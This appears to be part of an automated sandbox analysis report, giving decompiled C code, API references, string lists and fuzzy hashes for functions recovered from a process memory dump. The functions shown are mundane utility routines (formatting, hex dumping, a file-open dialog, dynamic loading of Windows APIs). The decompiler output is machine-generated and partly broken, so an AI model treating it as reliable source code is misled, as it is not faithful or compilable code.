Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCreateLibraryLoadProcRemoteThreadVersion
String ID: $
API String ID: 283512611-3993045852
Opcode ID: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction ID: f7bb912936b7b9019fec647a10c74351ea71fc4cb5320a39ef1905a9d188216f
Opcode Fuzzy Hash: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction Fuzzy Hash: CC216DB290020DEFDF11CF94DD44AEE7BB9FB88704F00802AFA05B6190D7B59A54CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401676, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00401676(void* __ecx, intOrPtr* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v80;
				signed short _v65616;
				void* _t27;
				intOrPtr _t28;
				void* _t34;
				intOrPtr _t39;
				intOrPtr* _t51;
				void* _t52;

				_t51 = __esi;
				E0040B550(0x1004c, __ecx);
				_t39 = 0;
				_push(0);
				_push( &_v8);
				_v8 =  *((intOrPtr*)(_a4 + 0x1c));
				_push(L"Lines");
				_t27 =  *((intOrPtr*)( *__esi))();
				if(_v8 > 0) {
					do {
						_t6 = _t39 + 1; // 0x1
						_t28 = _t6;
						_push(_t28);
						_push(L"Line%d");
						_v12 = _t28;
						_push(0x1f);
						_push( &_v80);
						L0040B1EC();
						_t52 = _t52 + 0x10;
						_push(0x7fff);
						_push(0x40c4e8);
						if( *((intOrPtr*)(_t51 + 4)) == 0) {
							_v65616 = _v65616 & 0x00000000;
							 *((intOrPtr*)( *_t51 + 0x10))( &_v80,  &_v65616);
							_t34 = E004054DF(_a4, _t51,  &_v65616);
						} else {
							_t34 =  *((intOrPtr*)( *_t51 + 0x10))( &_v80, E00405581(_a4, _t39));
						}
						_t39 = _v12;
					} while (_t39 < _v8);
					return _t34;
				}
				return _t27;
			}

0x00401676
0x0040167e
0x0040168a
0x0040168c
0x00401690
0x00401691
0x00401696
0x0040169d
0x004016a2
0x004016aa
0x004016aa
0x004016aa
0x004016ad
0x004016ae
0x004016b3
0x004016b9
0x004016bb
0x004016bc
0x004016c1
0x004016c8
0x004016cd
0x004016ce
0x004016ea
0x004016ff
0x0040170c
0x004016d0
0x004016e3
0x004016e3
0x00401711
0x00401714
0x00000000
0x00401719
0x0040171c

APIs

_snwprintf.MSVCRT ref: 004016BC

Strings

Lines, xrefs: 00401696
Line%d, xrefs: 004016AE

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: Line%d$Lines
API String ID: 3988819677-2790224864
Opcode ID: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction ID: 1021665491e9d2d06496d958327cd8fefc515fbb55266dd5f91e98284186a054
Opcode Fuzzy Hash: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction Fuzzy Hash: 4C110071A00208EFCB15DF98C8C1D9EB7B9EF48704F1045BAF645E7281D778AA458B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040512F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040512F(intOrPtr _a4, intOrPtr _a8, void* _a12) {
				void* _v8;
				void* _v26;
				void _v28;
				void* _t24;
				void* _t25;
				void* _t35;
				signed int _t38;
				signed int _t42;
				void* _t44;
				void* _t45;

				_t24 = _a12;
				_t45 = _t44 - 0x18;
				_t42 = 0;
				 *_t24 = 0;
				if(_a8 <= 0) {
					_t25 = 0;
				} else {
					_t38 = 0;
					_t35 = 0;
					if(_a8 > 0) {
						_v8 = _t24;
						while(1) {
							_v28 = _v28 & 0x00000000;
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosw");
							_push( *(_t35 + _a4) & 0x000000ff);
							_push(L"%2.2X ");
							_push(0xa);
							_push( &_v28);
							L0040B1EC();
							_t38 = _t42;
							memcpy(_v8,  &_v28, 6);
							_t13 = _t42 + 3; // 0x3
							_t45 = _t45 + 0x1c;
							if(_t13 >= 0x2000) {
								break;
							}
							_v8 = _v8 + 6;
							_t35 = _t35 + 1;
							_t42 = _t42 + 3;
							if(_t35 < _a8) {
								continue;
							}
							break;
						}
						_t24 = _a12;
					}
					 *(_t24 + 4 + _t38 * 2) =  *(_t24 + 4 + _t38 * 2) & 0x00000000;
					_t25 = 1;
				}
				return _t25;
			}

0x00405132
0x00405135
0x00405139
0x0040513e
0x00405141
0x004051b3
0x00405143
0x00405145
0x00405147
0x0040514c
0x0040514e
0x00405151
0x00405151
0x0040515b
0x0040515c
0x0040515d
0x0040515e
0x0040515f
0x00405168
0x00405169
0x00405171
0x00405173
0x00405174
0x00405182
0x00405184
0x00405189
0x0040518c
0x00405194
0x00000000
0x00000000
0x00405196
0x0040519a
0x0040519b
0x004051a1
0x00000000
0x00000000
0x00000000
0x004051a1
0x004051a3
0x004051a3
0x004051a6
0x004051af
0x004051b0
0x004051b7

APIs

_snwprintf.MSVCRT ref: 00405174
memcpy.MSVCRT ref: 00405184

Strings

%2.2X , xrefs: 00405169

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemcpy
String ID: %2.2X
API String ID: 2789212964-323797159
Opcode ID: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction ID: b76e4bbe2d26c53343c630e3245d096d82678977124e835a89109146ed91de65
Opcode Fuzzy Hash: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction Fuzzy Hash: 5A11A532900608BFEB01DFE8C882AAF77B9FB45314F104477ED14EB141D6789A058BD5

Uniqueness

Uniqueness Score: -1.00%

Function 004075BB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E004075BB(void* __ebx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				char _v44;
				intOrPtr _t22;
				signed int _t30;
				signed int _t34;
				void* _t35;
				void* _t36;

				_t35 = __esi;
				_t34 = 0;
				if( *((intOrPtr*)(__esi + 0x2c)) > 0) {
					do {
						_t30 =  *( *((intOrPtr*)(__esi + 0x30)) + _t34 * 4);
						_t22 =  *((intOrPtr*)(_t30 * 0x14 +  *((intOrPtr*)(__esi + 0x40)) + 0xc));
						L0040B1EC();
						_push( *((intOrPtr*)( *_a8))(_t30,  *((intOrPtr*)(__esi + 0x64)),  &_v44, 0x14, L"%%-%d.%ds ", _t22, _t22));
						_push( &_v44);
						_push(0x2000);
						_push( *((intOrPtr*)(__esi + 0x60)));
						L0040B1EC();
						_t36 = _t36 + 0x24;
						E00407343(__esi, _a4,  *((intOrPtr*)(__esi + 0x60)));
						_t34 = _t34 + 1;
					} while (_t34 <  *((intOrPtr*)(__esi + 0x2c)));
				}
				return E00407343(_t35, _a4, L"\r\n");
			}

0x004075bb
0x004075c2
0x004075c7
0x004075ca
0x004075cd
0x004075d8
0x004075e9
0x004075fc
0x00407600
0x00407601
0x00407606
0x00407609
0x0040760e
0x00407619
0x0040761e
0x0040761f
0x00407624
0x00407636

APIs

_snwprintf.MSVCRT ref: 004075E9
_snwprintf.MSVCRT ref: 00407609

Strings

%%-%d.%ds , xrefs: 004075DE

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: %%-%d.%ds
API String ID: 3988819677-2008345750
Opcode ID: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction ID: ecb877ded915dbad8d5af0e436ed4e240226c92ce5a1c47ab2288d53f8dcf9da
Opcode Fuzzy Hash: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction Fuzzy Hash: BC01B931600704AFD7109F69CC82D5A77ADFF48304B004439FD86B7292D635F911DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040507A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040507A(intOrPtr __eax, wchar_t* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				wchar_t* _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				struct tagOFNA _v80;

				_v76 = __eax;
				_v68 = _a4;
				_v64 = 0;
				_v44 = 0;
				_v36 = 0;
				_v32 = _a8;
				_v20 = _a12;
				_v80 = 0x4c;
				_v56 = 1;
				_v52 = __esi;
				_v48 = 0x104;
				_v28 = 0x81804;
				if(GetOpenFileNameW( &_v80) == 0) {
					return 0;
				} else {
					wcscpy(__esi, _v52);
					return 1;
				}
			}

0x00405080
0x00405086
0x0040508b
0x0040508e
0x00405091
0x00405097
0x0040509d
0x004050a4
0x004050ab
0x004050b2
0x004050b5
0x004050bc
0x004050cb
0x004050e0
0x004050cd
0x004050d1
0x004050dc
0x004050dc

APIs

GetOpenFileNameW.COMDLG32(?), ref: 004050C3
wcscpy.MSVCRT ref: 004050D1

Strings

L, xrefs: 004050A4

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileNameOpenwcscpy
String ID: L
API String ID: 3246554996-2909332022
Opcode ID: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction ID: bc55e530e402ba4b599a228f817f204aa1fc4279979982f23bca087f07049b97
Opcode Fuzzy Hash: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction Fuzzy Hash: 9A015FB1D102199FDF40DFA9D885ADEBBF4BB08304F14812AE915F6240E77495458F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040906D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040906D(struct HINSTANCE__** __eax, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* __esi;
				_Unknown_base(*)()* _t10;
				void* _t12;
				struct HINSTANCE__** _t13;

				_t13 = __eax;
				_t12 = 0;
				if(E00408F72(__eax) != 0) {
					_t10 = GetProcAddress( *_t13, "LookupAccountSidW");
					if(_t10 != 0) {
						_t12 =  *_t10(0, _a4, _a8, _a12, _a16, _a20, _a24);
					}
				}
				return _t12;
			}

0x00409072
0x00409074
0x0040907d
0x00409086
0x0040908e
0x004090a5
0x004090a5
0x0040908e
0x004090ac

APIs

GetProcAddress.KERNEL32(?,LookupAccountSidW), ref: 00409086

Strings

LookupAccountSidW, xrefs: 0040907F
Y@, xrefs: 0040906D

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc
String ID: LookupAccountSidW$Y@
API String ID: 190572456-2352570548
Opcode ID: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction ID: 3ebfd29b958db2e29df2983e37ea976ab6b1d16e8490ad6d4f073a9de280f7a1
Opcode Fuzzy Hash: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction Fuzzy Hash: F5E0E537100109BBDF125E96DD01CAB7AA79F84750B144035FA54E1161D6368821A794

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD85, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040AD85(intOrPtr _a4) {
				_Unknown_base(*)()* _t3;
				void* _t7;
				struct HINSTANCE__* _t8;
				char** _t9;

				_t7 = 0;
				_t8 = E00405436(L"shlwapi.dll");
				 *_t9 = "SHAutoComplete";
				_t3 = GetProcAddress(_t8, ??);
				if(_t3 != 0) {
					_t7 =  *_t3(_a4, 0x10000001);
				}
				FreeLibrary(_t8);
				return _t7;
			}

0x0040ad8c
0x0040ad93
0x0040ad95
0x0040ad9d
0x0040ada5
0x0040adb2
0x0040adb2
0x0040adb5
0x0040adbf

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

Strings

shlwapi.dll, xrefs: 0040AD87

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$Load$AddressFreeProcmemsetwcscat
String ID: shlwapi.dll
API String ID: 4092907564-3792422438
Opcode ID: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction ID: 3ba04cc2888c968bb17b12a51753cff707eeab9003a5d350ca2caef87bad7666
Opcode Fuzzy Hash: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction Fuzzy Hash: E1D01235211111EBD7616B66AD44A9F7AA6DFC1351B060036F544F2191DB3C4846C669

Uniqueness

Uniqueness Score: -1.00%

Function 00406597, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406597(wchar_t* __esi) {
				wchar_t* _t2;
				wchar_t* _t6;

				_t6 = __esi;
				E00404AD9(__esi);
				_t2 = wcsrchr(__esi, 0x2e);
				if(_t2 != 0) {
					 *_t2 =  *_t2 & 0x00000000;
				}
				return wcscat(_t6, L"_lng.ini");
			}

0x00406597
0x00406598
0x004065a0
0x004065aa
0x004065ac
0x004065ac
0x004065bd

APIs

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 004065A0
wcscat.MSVCRT ref: 004065B6

Strings

_lng.ini, xrefs: 004065B0

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamewcscatwcsrchr
String ID: _lng.ini
API String ID: 383090722-1948609170
Opcode ID: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction ID: e4456dc4ef972d75cd366ed24565615e7e819105f92635e6590d4ece6e8d8120
Opcode Fuzzy Hash: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction Fuzzy Hash: 16C01292682620A4E2223322AC03B4F1248CF62324F21407BF906381C7EFBD826180EE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC52, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC52() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;

				if( *0x4101c4 == 0) {
					_t1 = E00405436(L"shell32.dll");
					 *0x4101c4 = _t1;
					if(_t1 != 0) {
						_t2 = GetProcAddress(_t1, "SHGetSpecialFolderPathW");
						 *0x4101c0 = _t2;
						return _t2;
					}
				}
				return _t1;
			}

0x0040ac59
0x0040ac60
0x0040ac68
0x0040ac6d
0x0040ac75
0x0040ac7b
0x00000000
0x0040ac7b
0x0040ac6d
0x0040ac80

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040AC75

Strings

SHGetSpecialFolderPathW, xrefs: 0040AC6F
shell32.dll, xrefs: 0040AC5B

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 946536540-880857682
Opcode ID: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction ID: 297d67d15b42b64e279660486abf15c243c4c6a8dcafd005a32ae5f28444c9d4
Opcode Fuzzy Hash: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction Fuzzy Hash: 9AD0C9B0D8A301ABE7106BB0AF05B523AA4B704301F12417BF800B12E0DBBE90888A1E

Uniqueness

Uniqueness Score: -1.00%

Function 00406670, Relevance: 5.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00406670(char** __esi, void* __eflags) {
				char* _t30;
				char** _t39;

				_t39 = __esi;
				 *__esi = "cf@";
				__esi[0xb8] = 0;
				_t30 = E00404FA4(0x338, __esi);
				_push(0x14);
				__esi[0xcb] = 0;
				__esi[0xa6] = 0;
				__esi[0xb9] = 0;
				__esi[0xba] = 0xfff;
				__esi[8] = 0;
				__esi[1] = 0;
				__esi[0xb7] = 1;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[2] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[3] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[4] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_t39[5] = _t30;
				return _t39;
			}

0x00406670
0x0040667a
0x00406680
0x00406686
0x0040668b
0x0040668d
0x00406693
0x00406699
0x0040669f
0x004066a9
0x004066ac
0x004066af
0x004066b9
0x004066c7
0x004066d9
0x004066c9
0x004066c9
0x004066cc
0x004066cf
0x004066d2
0x004066d5
0x004066d5
0x004066db
0x004066dd
0x004066e0
0x004066e8
0x004066fa
0x004066ea
0x004066ea
0x004066ed
0x004066f0
0x004066f3
0x004066f6
0x004066f6
0x004066fc
0x004066fe
0x00406701
0x00406709
0x0040671b
0x0040670b
0x0040670b
0x0040670e
0x00406711
0x00406714
0x00406717
0x00406717
0x0040671d
0x0040671f
0x00406722
0x0040672a
0x0040673c
0x0040672c
0x0040672c
0x0040672f
0x00406732
0x00406735
0x00406738
0x00406738
0x0040673f
0x00406745

APIs

Part of subcall function 00404FA4: memset.MSVCRT ref: 00404FB2

??2@YAPAXI@Z.MSVCRT ref: 004066B9
??2@YAPAXI@Z.MSVCRT ref: 004066E0
??2@YAPAXI@Z.MSVCRT ref: 00406701
??2@YAPAXI@Z.MSVCRT ref: 00406722

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction ID: f950f85206354bd8a0b3bb5dce35e971dba3beadb745d31d99e8bf3535aee89b
Opcode Fuzzy Hash: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction Fuzzy Hash: F121D4B0A007008FD7219F2AC448956FBE8FF90314B2689BFD15ADB2B1D7B89441DF18

Uniqueness

Uniqueness Score: -1.00%

Function 004054DF, Relevance: 5.1, APIs: 4, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054DF(signed int* __eax, void* __ecx, wchar_t* _a4) {
				int _v8;
				signed int _v12;
				void* __edi;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t36;
				signed int _t48;
				signed int _t58;
				signed int _t59;
				void** _t62;
				void** _t63;
				signed int* _t66;

				_t66 = __eax;
				_t32 = wcslen(_a4);
				_t48 =  *(_t66 + 4);
				_t58 = _t48 + _t32;
				_v12 = _t58;
				_t59 = _t58 + 1;
				_v8 = _t32;
				_t33 =  *((intOrPtr*)(_t66 + 0x14));
				 *(_t66 + 4) = _t59;
				_t62 = _t66 + 0x10;
				if(_t59 != 0xffffffff) {
					E00404951(_t66, _t59, _t62, 2, _t33);
				} else {
					free( *_t62);
				}
				_t60 =  *(_t66 + 0x1c);
				_t36 =  *((intOrPtr*)(_t66 + 0x18));
				_t63 = _t66 + 0xc;
				if( *(_t66 + 0x1c) != 0xffffffff) {
					E00404951(_t66 + 8, _t60, _t63, 4, _t36);
				} else {
					free( *_t63);
				}
				memcpy( *(_t66 + 0x10) + _t48 * 2, _a4, _v8 + _v8);
				 *((short*)( *(_t66 + 0x10) + _v12 * 2)) =  *( *(_t66 + 0x10) + _v12 * 2) & 0x00000000;
				 *( *_t63 +  *(_t66 + 0x1c) * 4) = _t48;
				 *(_t66 + 0x1c) =  *(_t66 + 0x1c) + 1;
				_t30 =  *(_t66 + 0x1c) - 1; // -1
				return _t30;
			}

0x004054ea
0x004054ec
0x004054f1
0x004054f4
0x004054f7
0x004054fa
0x004054fe
0x00405501
0x00405505
0x00405508
0x0040550b
0x0040551b
0x0040550d
0x0040550f
0x0040550f
0x00405521
0x00405527
0x0040552b
0x0040552e
0x0040553f
0x00405530
0x00405532
0x00405532
0x00405556
0x00405561
0x0040556e
0x00405571
0x00405578
0x0040557e

APIs

wcslen.MSVCRT ref: 004054EC
free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 0040550F

Part of subcall function 00404951: malloc.MSVCRT ref: 0040496D
Part of subcall function 00404951: memcpy.MSVCRT ref: 00404985
Part of subcall function 00404951: free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 00405532
memcpy.MSVCRT ref: 00405556

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: free$memcpy$mallocwcslen
String ID:
API String ID: 726966127-0
Opcode ID: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction ID: a1978c74b5bce8e8bf6bff77aa8c6c4d26791a9d8288a70caf523018dd8727ee
Opcode Fuzzy Hash: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction Fuzzy Hash: 14216FB1500704EFC720DF68D881C9BB7F5EF483247208A6EF456A7691D735B9158B98

Uniqueness

Uniqueness Score: -1.00%

Function 00405ADF, Relevance: 5.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00405ADF() {
				void* _t25;
				signed int _t27;
				signed int _t29;
				signed int _t31;
				signed int _t33;
				signed int _t50;
				signed int _t52;
				signed int _t54;
				signed int _t56;
				intOrPtr _t60;

				_t60 =  *0x41c470;
				if(_t60 == 0) {
					_t50 = 2;
					 *0x41c470 = 0x8000;
					_t27 = 0x8000 * _t50;
					 *0x41c474 = 0x100;
					 *0x41c478 = 0x1000;
					_push( ~(0 | _t60 > 0x00000000) | _t27);
					L0040B26C();
					 *0x41c458 = _t27;
					_t52 = 4;
					_t29 =  *0x41c474 * _t52;
					_push( ~(0 | _t60 > 0x00000000) | _t29);
					L0040B26C();
					 *0x41c460 = _t29;
					_t54 = 4;
					_t31 =  *0x41c474 * _t54;
					_push( ~(0 | _t60 > 0x00000000) | _t31);
					L0040B26C();
					 *0x41c464 = _t31;
					_t56 = 2;
					_t33 =  *0x41c478 * _t56;
					_push( ~(0 | _t60 > 0x00000000) | _t33);
					L0040B26C();
					 *0x41c45c = _t33;
					return _t33;
				}
				return _t25;
			}

0x00405adf
0x00405ae6
0x00405af5
0x00405af6
0x00405afb
0x00405b00
0x00405b0a
0x00405b18
0x00405b19
0x00405b1e
0x00405b2c
0x00405b2d
0x00405b36
0x00405b37
0x00405b3c
0x00405b4a
0x00405b4b
0x00405b54
0x00405b55
0x00405b5a
0x00405b68
0x00405b69
0x00405b72
0x00405b73
0x00405b7b
0x00000000
0x00405b7b
0x00405b80

APIs

??2@YAPAXI@Z.MSVCRT ref: 00405B19
??2@YAPAXI@Z.MSVCRT ref: 00405B37
??2@YAPAXI@Z.MSVCRT ref: 00405B55
??2@YAPAXI@Z.MSVCRT ref: 00405B73

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
